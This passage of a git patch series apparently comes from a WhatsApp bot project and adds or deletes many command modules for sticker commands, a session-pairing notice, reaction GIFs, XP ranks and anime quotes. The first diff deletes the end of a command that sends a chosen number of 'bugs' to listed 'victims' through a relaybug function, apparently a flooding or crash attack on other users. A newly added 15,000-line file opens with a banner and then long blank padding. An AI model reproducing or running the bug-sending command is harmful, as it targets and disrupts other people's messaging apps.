- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
diff --git a/scs/bmwv.js b/scs/bmwv.js
deleted file mode 100644
index 0b6d337..0000000
--- a/scs/bmwv.js
+++ /dev/null
@@ -1,88 +0,0 @@
-const {adams }= require ('../Ibrahim/adams') ;
-const {addstickcmd, deleteCmd, getCmdById, inStickCmd , getAllStickCmds} = require('../lib/stickcmd') ;
-
-
-
-adams(
- {
- nomCom : 'setcmd',
- categorie : 'stickcmd'
-
- }, async (dest,zk,commandeOptions) => {
-
- const {ms , arg, repondre,superUser , msgRepondu} = commandeOptions;
-
- if (!superUser) { repondre('you can\'t use this command') ; return} ;
-
- if(msgRepondu && msgRepondu.stickerMessage ) {
-
- if(!arg || !arg[0]) { repondre('put the name of the command') ; return} ;
-
-
- await addstickcmd(arg[0].toLowerCase() , msgRepondu.stickerMessage.url ) ;
-
- repondre('Stick cmd save successfully')
-
- } else {
-
- repondre('mention a sticker')
- }
-
- }) ;
-
- adams(
- {
- nomCom: 'delcmd',
- categorie: 'stickcmd'
- },
- async (dest, zk, commandeOptions) => {
-
- const { ms, arg, repondre, superUser } = commandeOptions;
-
- if (!superUser) {
- repondre('only Mods can use this command');
- return;
- }
-
- if (!arg || !arg[0]) {
- repondre('put the name of the command that you want to delete');
- return;
- }
-
- const cmdToDelete = arg[0];
-
-
- try {
- await deleteCmd(cmdToDelete.toLowerCase());
- repondre(`the commande ${cmdToDelete} is deleted successfully.`);
- } catch {
- repondre(`the command ${cmdToDelete} don't existe`);
- }
- }
- );
-
-
- adams(
- {
- nomCom: 'allcmd',
- categorie: 'stickcmd'
- },
- async (dest, zk, commandeOptions) => {
- const { repondre, superUser } = commandeOptions;
-
- if (!superUser) {
- repondre('only Mods can use this command');
- return;
- }
-
- const allCmds = await getAllStickCmds();
-
- if (allCmds.length > 0) {
- const cmdList = allCmds.map(cmd => cmd.cmd).join(', ');
- repondre(`*List of all stickcmd :*
- ${cmdList}`);
- } else {
- repondre('No stickcmd save');
- }
- }
-);
diff --git a/scs/bmww.js b/scs/bmww.js
deleted file mode 100644
index 2a2ca78..0000000
--- a/scs/bmww.js
+++ /dev/null
@@ -1,173 +0,0 @@
-
-const util = require('util');
-const fs = require('fs-extra');
-const { adams } = require(__dirname + "/../Ibrahim/adams");
-const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../config");
-const more = String.fromCharCode(8206)
-const readmore = more.repeat(4001)
-
-adams({ nomCom: "scan", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../Ibrahim//adams");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault('Etc/GMT');
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- let infoMsg = `
- *Tap on the link to get session*
-
- https://ibrahim-adams.vercel.app
-
-
- *STEPS TO GET SESSION*
-
- 1. Open link
- 2. Enter your whatsapp number with your country code eg : 254,255. And tap submit
- 3. Ibrahim tech will sent you a code. Copy that code. Then whatsapp will sent Notification
- 4. Tap on that notification then enter in the code that Ibrahim tech sent you.
- 5. It will load for sometime then Ibrahim tech will sent A long session to your inbox on whatsapp at your own number
- 6. Copy that long session and sent it to your deployer.
-
- 🚘🚘🚘
- `;
-
-let menuMsg = `
-> Made by : ©Ibrahim Adams
-`;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});
-
-
-/*const util = require('util');
-const fs = require('fs-extra');
-const { zokou } = require(__dirname + "/../framework/zokou");
-const { format } = require(__dirname + "/../framework/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../set");
-const more = String.fromCharCode(8206)
-const readmore = more.repeat(4001)
-
-zokou({ nomCom: "script", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../framework//zokou");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault('Etc/GMT');
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- let infoMsg = `
- *BMW MD IMPORTANT INFO*
-❒───────────────────❒
-*GITHUB LINK*
-> https://github.com/ibrahimaitech/BMW-MD
-
-*WHATSAPP CHANNEL*
-> https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y
-
-*FOR MORE INFO TAP ON THE LINK BELOW*
-> https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO
-╭───────────────────❒
-│❒ *RAM* : ${format(os.totalmem() - os.freemem())}/${format(os.totalmem())}
-│❒ *DEV* : *Ibrahim Adams*
-╰───────────────────❒
- `;
-
-let menuMsg = `
- 𝑰𝑩𝑹𝑨𝑯𝑰𝑴 𝑨𝑫𝑨𝑴𝑺 𝑺𝑪𝑰𝑬𝑵𝑪𝑬
-
-❒────────────────────❒`;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});*/
diff --git a/scs/bmwx.js b/scs/bmwx.js
deleted file mode 100644
index 19b97f9..0000000
--- a/scs/bmwx.js
+++ /dev/null
@@ -1,103 +0,0 @@
-const axios = require('axios');
-const { adams } = require("../Ibrahim/adams");
-const fs = require("fs-extra");
-const { exec } = require("child_process");
-const child_process = require('child_process');
-const {unlink } = require ('fs').promises ;
-
-
-// fonction sleep
-
-const sleep = (ms) =>{
- return new Promise((resolve) =>{ setTimeout (resolve, ms)})
-
- }
-
-// Fonction pour la conversion de GIF en vidéo et récupération du buffer vidéo
-const GIFBufferToVideoBuffer = async (image) => {
- const filename = `${Math.random().toString(36)}`;
- await fs.writeFileSync(`./${filename}.gif`, image);
- child_process.exec(
- `ffmpeg -i ./${filename}.gif -movflags faststart -pix_fmt yuv420p -vf "scale=trunc(iw/2)*2:trunc(ih/2)*2" ./${filename}.mp4`
- );
- await sleep(4000);
-
- var buffer5 = await fs.readFileSync(`./${filename}.mp4`);
- Promise.all([unlink(`./${filename}.mp4`), unlink(`./${filename}.gif`)]);
- return buffer5;
-};
-
-const generateReactionCommand = (reactionName, reactionEmoji) => {
- adams({
- nomCom: reactionName,
- categorie: "Reaction",
- reaction: reactionEmoji,
- },
- async (origineMessage, zk, commandeOptions) => {
- const { auteurMessage, auteurMsgRepondu, repondre, ms, msgRepondu } = commandeOptions;
-
- const url = `https://api.waifu.pics/sfw/${reactionName}`;
- try {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- // Obtenir le buffer du GIF en utilisant la fonction getBuffer
- const gifBufferResponse = await axios.get(imageUrl, {
- responseType: 'arraybuffer' }) ;
- const gifBuffer = await gifBufferResponse.data;
-
- // Convertir le GIF en vidéo et obtenir le buffer vidéo
- const videoBuffer = await GIFBufferToVideoBuffer(gifBuffer);
-
- // Envoyer la vidéo avec Zokou
- if (msgRepondu) {
- var txt =` @${auteurMessage.split("@")[0]} ${reactionName} @${auteurMsgRepondu.split("@")[0]}`
- zk.sendMessage(origineMessage, { video: videoBuffer,gifPlayback: true,caption:txt,mentions:[auteurMessage,auteurMsgRepondu] }, { quoted: ms });
-
- } else {
- const videoMessage = {
- video: videoBuffer,
- gifPlayback: true,
- caption: `@${auteurMessage.split("@")[0]} ${reactionName} everyone`,
- mentions: [auteurMessage]
- };
- zk.sendMessage(origineMessage, videoMessage, { quoted: ms });
- }
-
- } catch (error) {
- repondre('Error occurred while retrieving the data. :' + error);
- console.log(error);
- }
- });
-};
-
-// ... (utilisation de la fonction generateReactionCommand pour créer des commandes de réaction)
-
-
-generateReactionCommand("bully", "👊");
-generateReactionCommand("cuddle", "🤗");
-generateReactionCommand("cry", "😢");
-generateReactionCommand("hug", "😊");
-generateReactionCommand("awoo", "🐺");
-generateReactionCommand("kiss", "😘");
-generateReactionCommand("lick", "👅");
-generateReactionCommand("pat", "👋");
-generateReactionCommand("smug", "😏");
-generateReactionCommand("bonk", "🔨");
-generateReactionCommand("yeet", "🚀");
-generateReactionCommand("blush", "😊");
-generateReactionCommand("smile", "😄");
-generateReactionCommand("wave", "👋");
-generateReactionCommand("highfive");
-generateReactionCommand("handhold");
-generateReactionCommand("nom","👅" );
-generateReactionCommand("bite", "🦷");
-generateReactionCommand("glomp", "🤗");
-generateReactionCommand("slap", "👋");
-generateReactionCommand("kill", "💀");
-generateReactionCommand("kick", "🦵");
-generateReactionCommand("happy", "😄");
-generateReactionCommand("wink", "😉");
-generateReactionCommand("poke", "👉");
-generateReactionCommand("dance", "💃");
-generateReactionCommand("cringe", "😬");
diff --git a/scs/bmwy.js b/scs/bmwy.js
deleted file mode 100644
index d4f541c..0000000
--- a/scs/bmwy.js
+++ /dev/null
@@ -1,309 +0,0 @@
-const {adams} = require("../Ibrahim/adams");
-const {getMessagesAndXPByJID,getBottom10Users} = require("../lib/level");
-
-
-function get_level_exp(xp) {
- const levelThresholds = [
- { level: 1, xpThreshold: 500 },
- { level: 2, xpThreshold: 1000 },
- { level: 3, xpThreshold: 2000 },
- { level: 4, xpThreshold: 4000 },
- { level: 5, xpThreshold: 7000 },
- { level: 6, xpThreshold: 10000 },
- { level: 7, xpThreshold: 15000 },
- { level: 8, xpThreshold: 20000},
- { level: 9, xpThreshold: 25000},
- { level: 10, xpThreshold: 30000},
- { level: 11, xpThreshold: 35000},
- { level: 12, xpThreshold: 45000},
- { level: 13, xpThreshold: 55000},
- { level: 14, xpThreshold: 65000},
- { level: 15, xpThreshold: 75000},
- { level: 16, xpThreshold: 90000},
- { level: 17, xpThreshold: 105000},
- { level: 18, xpThreshold: 120000},
- { level: 19, xpThreshold: 135000},
- { level: 20, xpThreshold: 150000},
- { level: 21, xpThreshold: 170000},
- { level: 22, xpThreshold: 190000},
- { level: 23, xpThreshold: 210000},
- { level: 24, xpThreshold: 230000},
- { level: 25, xpThreshold: 255000},
- { level: 26, xpThreshold: 270000},
- { level: 27, xpThreshold: 295000},
- { level: 28, xpThreshold: 320000},
- { level: 29, xpThreshold: 345000},
- { level: 30, xpThreshold: 385000},
- { level: 31, xpThreshold: 425000},
- { level: 32, xpThreshold: 465000},
- { level: 33, xpThreshold: 505000},
- { level: 34, xpThreshold: 545000},
- { level: 35, xpThreshold: 590000},
- { level: 36, xpThreshold: 635000},
- { level: 37, xpThreshold: 680000},
- { level: 38, xpThreshold: 725000},
- { level: 39, xpThreshold: 770000},
- { level: 40, xpThreshold: 820000},
- { level: 41, xpThreshold: 870000},
- { level: 42, xpThreshold: 920000},
- { level: 43, xpThreshold: 970000},
- { level: 44, xpThreshold: 1020000},
- { level: 45, xpThreshold: 1075000},
- { level: 46, xpThreshold: 1130000},
- { level: 47, xpThreshold: 1185000},
- { level: 48, xpThreshold: 1240000},
- { level: 49, xpThreshold: 1295000},
- { level: 'Zk-GOD', xpThreshold: 2000000}
- ];
-
- let level = 0;
- let exp = xp;
- let xplimit = levelThresholds[level].xpThreshold;
-
- for (let i = 0; i < levelThresholds.length; i++) {
- if (xp >= levelThresholds[i].xpThreshold) {
- level = levelThresholds[i].level;
- xplimit = levelThresholds[i + 1]?.xpThreshold || 'No-limit';
- exp = xp - levelThresholds[i].xpThreshold;
- } else {
- break;
- }
- }
-
- return {
- level: level,
- xplimit: xplimit,
- exp: exp
- };
-}
-
-module.exports = {
- get_level_exp,
-} ;
-
-adams( {
- nomCom : "rank",
- categorie : "Fun",
- },
- async(dest,zk, commandeOptions)=> {
-
- const {ms , repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu , mybotpic} = commandeOptions ;
-
- if (msgRepondu) {
-
- try {
-
- let rank = await getMessagesAndXPByJID(auteurMsgRepondu) ;
-
- const data = await get_level_exp(rank.xp)
- let ppuser ;
-
-
- try {
- ppuser = await zk.profilePictureUrl(auteurMsgRepondu , 'image') ;
- } catch {
- ppuser = mybotpic()
- } ;
-
-
- let role ;
-
- if (data.level < 5) {
- role = 'baby'
- } else if (data.level >= 5 && data.level < 10) {
- role = 'kid-Ninja'
- } else if ( data.level >= 10 && data.level < 15 ) {
- role = 'Ninja-genin'
- } else if ( data.level >= 15 && data.level < 20 ) {
- role = 'Ninja-chunin'
- } else if ( data.level >= 20 && data.level < 25 ) {
- role = 'Ninja-jonin'
- } else if ( data.level >= 25 && data.level < 30 ) {
- role = 'ANBU'
- } else if ( data.level >= 30 && data.level < 35 ) {
- role = 'strong ninja'
- } else if ( data.level >= 35 && data.level < 40 ) {
- role = 'kage'
- } else if ( data.level >= 40 && data.level < 45 ) {
- role = 'Hermit seinin'
- } else if ( data.level >= 45 && data.level < 50 ) {
- role = 'Otsusuki'
- } else {
- role = 'GOD'
- }
-
-
- let msg = `
-┏━━━┛ Bmw-Rang ┗━━━┓
-
- *Name :* @${auteurMsgRepondu.split("@")[0]}
-
- *Level :* ${data.level}
-
- *EXP :* ${data.exp}/${data.xplimit}
-
- *Role :* ${role}
-
- *Messages :* ${rank.messages}
-
- ┕━✿━┑ ┍━✿━┙`
-
- zk.sendMessage(
- dest,
- {
- image : {url : ppuser},
- caption : msg,
- mentions : [auteurMsgRepondu]
- },
- {quoted : ms}
- )
-
-
- } catch (error) {
- repondre(error)
- }
- } else {
-
-
- try {
-
- let jid = auteurMessage ;
-
- let rang = await getMessagesAndXPByJID(jid) ;
-
- const data = get_level_exp(rang.xp)
- let ppuser ;
-
-
- try {
- ppuser = await zk.profilePictureUrl(jid, 'image') ;
- } catch {
- ppuser = mybotpic()
- } ;
-
-
- let role ;
-
- if (data.level < 5) {
- role = 'Nouveau né(e)'
- } else if (data.level >= 5 && data.level < 10) {
- role = 'kid-Ninja'
- } else if ( data.level >= 10 && data.level < 15 ) {
- role = 'Ninja-genin'
- } else if ( data.level >= 15 && data.level < 20 ) {
- role = 'Ninja-chunin'
- } else if ( data.level >= 20 && data.level < 25 ) {
- role = 'Ninja-jonin'
- } else if ( data.level >= 25 && data.level < 30 ) {
- role = 'ANBU'
- } else if ( data.level >= 30 && data.level < 35 ) {
- role = 'strong ninja'
- } else if ( data.level >= 35 && data.level < 40 ) {
- role = 'kage'
- } else if ( data.level >= 40 && data.level < 45 ) {
- role = 'Hermit seinin'
- } else if ( data.level >= 45 && data.level < 50 ) {
- role = 'Otsusuki'
- } else {
- role = 'level-GOD'
- }
-
-
- let msg = `
-┏━━━┛ bmw rank┗━━━┓
-
- *Name :* ${nomAuteurMessage}
-
- *Level :* ${data.level}
-
- *EXP :* ${data.exp}/${data.xplimit}
-
- *Role :* ${role}
-
- *Messages :* ${rang.messages}
-
- ┕━✿━┑ ┍━✿━┙`
-
- zk.sendMessage(
- dest,
- {
- image : {url : ppuser},
- caption : msg
- },
- {quoted : ms}
- )
-
- } catch (error) {
- repondre(error)
- }
-
- }
-
-
-}) ;
-
-adams( {
- nomCom : "toprank",
- categorie : "Fun",
- },
- async(dest,zk, commandeOptions)=> {
-
- const {ms , mybotpic} = commandeOptions ;
-
-
- let msg = `┏━━┛ beltah-top-rang ┗━━┓\n\n`
-
- let topRanks = await getBottom10Users() ;
- let mention = [] ;
- for (const rank of topRanks ) {
-
- const data = await get_level_exp(rank.xp) ;
-
- let role ;
-
- if (data.level < 5) {
- role = 'Nouveau né(e)'
- } else if (data.level >= 5 && data.level < 10) {
- role = 'kid ninja'
- } else if ( data.level >= 10 && data.level < 15 ) {
- role = 'Ninja-genin'
- } else if ( data.level >= 15 && data.level < 20 ) {
- role = 'Ninja-chunin'
- } else if ( data.level >= 20 && data.level < 25 ) {
- role = 'Ninja-jonin'
- } else if ( data.level >= 25 && data.level < 30 ) {
- role = 'ANBU'
- } else if ( data.level >= 30 && data.level < 35 ) {
- role = 'strong ninja'
- } else if ( data.level >= 35 && data.level < 40 ) {
- role = 'kage'
- } else if ( data.level >= 40 && data.level < 45 ) {
- role = 'Hermit seinin'
- } else if ( data.level >= 45 && data.level < 50 ) {
- role = 'Otsusuki'
- } else {
- role = 'level-GOD'
- }
- msg += `-----------------------
-
- *Name :* @${rank.jid.split("@")[0]}
-*Level :* ${data.level}
-*Role :* ${role}\n` ;
-
- mention.push(rank.jid) ;
- }
-
- zk.sendMessage(dest,
- {
- image : { url : mybotpic() },
- caption : msg,
- mentions : mention
- },
- {quoted : ms})
-
-
- })
-
-
-
-
diff --git a/scs/bmwz.js b/scs/bmwz.js
deleted file mode 100644
index c55af3d..0000000
--- a/scs/bmwz.js
+++ /dev/null
@@ -1,50 +0,0 @@
-
-const { adams } = require('../Ibrahim/adams');
-
-adams({ nomCom: 'quote', categorie: 'Fun' }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, verifGroupe, arg } = commandeOptions;
- if (!verifGroupe) {
- repondre('Commande réservée au groupe uniquement');
- return;
- }
-
- if (!arg[0]) {
- try {
- fetch('https://animechan.xyz/api/random')
- .then((response) => response.json())
- .then(async (quote) => {
- repondre(`╔══════════════════════════╗
-║ Bmw-md ║
-╚══════════════════════════╝
-
-🎬 Anime: ${quote.anime}
-👤 Character: ${quote.character}
-💬 Quote: ${quote.quote}
-
-Powered by BMW-MD`);
- });
- } catch (e) {
- repondre('Erreur lors de la génération de la citation : ' + e.message);
- }
- } else {
- const query = arg.join(' ');
-
- try {
- fetch('https://animechan.xyz/api/random/character?name=' + query)
- .then((response) => response.json())
- .then(async (quote) => {
- repondre(`╔══════════════════════════╗
-║ Bmw-md ║
-╚══════════════════════════╝
-
-🎬 Anime: ${quote.anime}
-👤 Character: ${quote.character}
-💬 Quote: ${quote.quote}
-
-Powered by Bmw-MD`);
- });
- } catch (e) {
- repondre('Erreur lors de la génération de la citation : ' + e.message);
- }
- }
-});
diff --git a/scs/song.js b/scs/song.js
deleted file mode 100644
index 46adbc9..0000000
--- a/scs/song.js
+++ /dev/null
@@ -1 +0,0 @@
-{Remote git_online}
From 137e4ebed90e6674b3e198d9a8b72271ce95ed5f Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sun, 27 Oct 2024 13:11:45 +0300
Subject: [PATCH 139/208] =?UTF-8?q?=E2=AD=95=20ADAMS=20VERSION=20=E2=AD=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
scs/bmwalive.js | 1 +
1 file changed, 1 insertion(+)
create mode 100644 scs/bmwalive.js
diff --git a/scs/bmwalive.js b/scs/bmwalive.js
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/scs/bmwalive.js
@@ -0,0 +1 @@
+
From 2e74fb896a953a1d59c4a8c3222ecc30628719e3 Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sun, 27 Oct 2024 13:14:49 +0300
Subject: [PATCH 140/208] =?UTF-8?q?=E2=AD=95=20ADAMS=20VERSION=20=E2=AD=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
scs/bmwa.js | 15269 ++++++++++++++++++++++++++++++++++++++++++++
scs/bmwae.js | 15452 +++++++++++++++++++++++++++++++++++++++++++++
scs/bmwba.js | 15301 ++++++++++++++++++++++++++++++++++++++++++++
scs/bmwbe.js | 15322 ++++++++++++++++++++++++++++++++++++++++++++
scs/bmwbi.js | 1 +
scs/bmwbo.js | 1 +
scs/bmwboo.js | 2 +
scs/bmwbu.js | 500 ++
scs/bmwbut.js | 2 +
scs/bmwbutton.js | 3 +
scs/bmwc.js | 103 +
scs/bmwca.js | 71 +
scs/bmwce.js | 36 +
scs/bmwcii.js | 455 ++
scs/bmwcmd.js | 169 +
scs/bmwcmds.js | 2 +
scs/bmwco.js | 390 ++
scs/bmwcu.js | 29 +
scs/bmwd.js | 602 ++
scs/bmwda.js | 129 +
scs/bmwde.js | 33 +
scs/bmwdo.js | 24 +
scs/bmwdu.js | 189 +
scs/bmwee.js | 205 +
scs/bmweo.js | 1337 ++++
scs/bmweu.js | 103 +
scs/bmwf.js | 31 +
scs/bmwfet.js | 63 +
scs/bmwh.js | 1 +
scs/bmwhrk.js | 334 +
scs/bmwi.js | 215 +
scs/bmwj.js | 280 +
scs/bmwjj.js | 1 +
scs/bmwm.js | 144 +
scs/bmwmenu.js | 11 +
scs/bmwmn.js | 2 +
scs/bmwmor.js | 1 +
scs/bmwn.js | 26 +
scs/bmwo.js | 39 +
scs/bmwp.js | 37 +
scs/bmwplns.js | 119 +
scs/bmwq.js | 90 +
scs/bmwqan.js | 1 +
scs/bmwqpa.js | 1 +
scs/bmwr.js | 114 +
scs/bmwrepo.js | 1338 ++++
scs/bmws.js | 74 +
scs/bmwt.js | 62 +
scs/bmwtes.js | 1 +
scs/bmwu.js | 51 +
scs/bmwue.js | 991 +++
scs/bmwui.js | 39 +
scs/bmwuu.js | 1037 +++
scs/bmwv.js | 88 +
scs/bmww.js | 173 +
scs/bmwx.js | 103 +
scs/bmwy.js | 309 +
scs/bmwz.js | 50 +
58 files changed, 71556 insertions(+)
create mode 100644 scs/bmwa.js
create mode 100644 scs/bmwae.js
create mode 100644 scs/bmwba.js
create mode 100644 scs/bmwbe.js
create mode 100644 scs/bmwbi.js
create mode 100644 scs/bmwbo.js
create mode 100644 scs/bmwboo.js
create mode 100644 scs/bmwbu.js
create mode 100644 scs/bmwbut.js
create mode 100644 scs/bmwbutton.js
create mode 100644 scs/bmwc.js
create mode 100644 scs/bmwca.js
create mode 100644 scs/bmwce.js
create mode 100644 scs/bmwcii.js
create mode 100644 scs/bmwcmd.js
create mode 100644 scs/bmwcmds.js
create mode 100644 scs/bmwco.js
create mode 100644 scs/bmwcu.js
create mode 100644 scs/bmwd.js
create mode 100644 scs/bmwda.js
create mode 100644 scs/bmwde.js
create mode 100644 scs/bmwdo.js
create mode 100644 scs/bmwdu.js
create mode 100644 scs/bmwee.js
create mode 100644 scs/bmweo.js
create mode 100644 scs/bmweu.js
create mode 100644 scs/bmwf.js
create mode 100644 scs/bmwfet.js
create mode 100644 scs/bmwh.js
create mode 100644 scs/bmwhrk.js
create mode 100644 scs/bmwi.js
create mode 100644 scs/bmwj.js
create mode 100644 scs/bmwjj.js
create mode 100644 scs/bmwm.js
create mode 100644 scs/bmwmenu.js
create mode 100644 scs/bmwmn.js
create mode 100644 scs/bmwmor.js
create mode 100644 scs/bmwn.js
create mode 100644 scs/bmwo.js
create mode 100644 scs/bmwp.js
create mode 100644 scs/bmwplns.js
create mode 100644 scs/bmwq.js
create mode 100644 scs/bmwqan.js
create mode 100644 scs/bmwqpa.js
create mode 100644 scs/bmwr.js
create mode 100644 scs/bmwrepo.js
create mode 100644 scs/bmws.js
create mode 100644 scs/bmwt.js
create mode 100644 scs/bmwtes.js
create mode 100644 scs/bmwu.js
create mode 100644 scs/bmwue.js
create mode 100644 scs/bmwui.js
create mode 100644 scs/bmwuu.js
create mode 100644 scs/bmwv.js
create mode 100644 scs/bmww.js
create mode 100644 scs/bmwx.js
create mode 100644 scs/bmwy.js
create mode 100644 scs/bmwz.js
diff --git a/scs/bmwa.js b/scs/bmwa.js
new file mode 100644
index 0000000..5a4d63b
--- /dev/null
+++ b/scs/bmwa.js
@@ -0,0 +1,15269 @@
+
+
+/**
+Yoo bro what au looking for
+Just deploy the bot with original repo
+
+BMW MD
+
+Made by dev Ibrahim Adams
+
+
+ _.u[[/;:,. .odMMMMMM'
+ .o888UU[[[/;:-. .o@P^ MMM^
+ oN88888UU[[[/;::-. dP^
+ dNMMNN888UU[[[/;:--. .o@P^
+ ,MMMMMMN888UU[[/;::-. o@^
+ NNMMMNN888UU[[[/~.o@P^
+ 888888888UU[[[/o@^-..
+ oI8888UU[[[/o@P^:--..
+ .@^ YUU[[[/o@^;::---..
+ oMP ^/o@P^;:::---..
+ .dMMM .o@^ ^;::---...
+ dMMMMMMM@^` `^^^^
+YMMMUP^
+
+ Unclone version 😂🤣
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
